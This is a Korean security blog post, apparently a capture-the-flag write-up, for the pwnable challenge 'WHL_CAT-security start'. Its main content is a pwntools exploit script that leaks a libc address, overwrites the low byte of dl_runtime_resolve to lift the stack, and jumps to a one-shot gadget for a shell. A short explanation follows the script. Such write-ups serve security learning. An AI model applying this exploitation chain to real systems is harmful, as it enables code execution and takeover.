Notice
Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

WHL_CAT-security start 본문

Security/Pwnable

WHL_CAT-security start

Cdor1 2017. 11. 28. 21:15

from pwn import *
import sys

DEBUG = True
server = "127.0.0.1"
port = 11111
p = None
target = "./start_whl"
if len(sys.argv) > 1:
	DEBUG = False
	pass
else:
	#p = remote('10.10.134.127', 30000)
	p = process(target, env={'LD_PRELOAD':'./libc.so.6'})

def add(name, age, feature):
	p.sendline('1')
	print p.recv()
	p.send(name)
	print p.recv()
	p.sendline(str(age))
	print p.recv()
	p.send(feature)

def delete(index):
	p.sendline("2")
	print p.recv()
	p.sendline(str(index))
	print p.recvuntil(recv_until)

def overwrite(index, overwrite):
	p.sendline('3')
	print p.recv()
	p.send(str(index))

recv_until = ">>>"
print p.recv()
add('a'*20, '1234','a'*80)
overwrite(4294967290, 0)
print p.recv()
p.sendline('2')
print p.recvuntil('FEATURE : ')
leak = u64(p.recv(6).ljust(8,'\x00'))
base = leak - 0x3c4963
log.info('leak : ' + hex(leak))
log.info('base : ' + hex(base))
p.sendline('1')

p.recv()

p.sendline('3')
print p.recv()
p.sendline('0')
print p.recv()
p.sendline('3')
print p.recv()
p.sendline('a'*79)
print p.recv()

p.sendline('3')
print p.recv()
p.sendline('0')
print p.recv()
p.sendline('1')
print p.recv()
p.sendline('a'*19)
print p.recv()

p.sendline('3')
print p.recv()
p.sendline('0')
print p.recv()
p.sendline('3')
print p.recv()
p.send(p64(base+0xf0274)*10)
print p.recv()
add('a'*20, '1', p64(base+0xf0274)*10)
overwrite(4294967292, 0)
raw_input()
print p.recv()
p.sendline('2')
print p.recv()
p.sendline(str(0x5d))

p.interactive()


조건을 잘 맞추어 주면 하위 1바이트를 덮어낼 수 있는데

dl_runtime_resolve를 add rsp + 0x30, ret있는 부분으로 맞춰주게 되면

한번도 콜 된적 없던 exit()함수가 resolve함수를 통해서 libc 주소를 가져오는 과정에서 스택이 리프팅되고 

후에 stack_chk_fail을 부르면서도 resolve함수를 통해 스택이 다시 리프팅되고 ret되어 우리가 써준 원샷 가젯으로 rip를 돌릴 수 있다.


overwirte dl_runtime_resolve, (stack lift, ret) * 2

'Security > Pwnable' 카테고리의 다른 글

pwnable.tw bookwriter  (0) 2017.12.18
pwnable.tw breakout  (0) 2017.12.18
WITHCON2017 calc  (0) 2017.11.16
Simple Docker Command  (0) 2017.11.01
pwnable.tw kidding  (0) 2017.11.01
Comments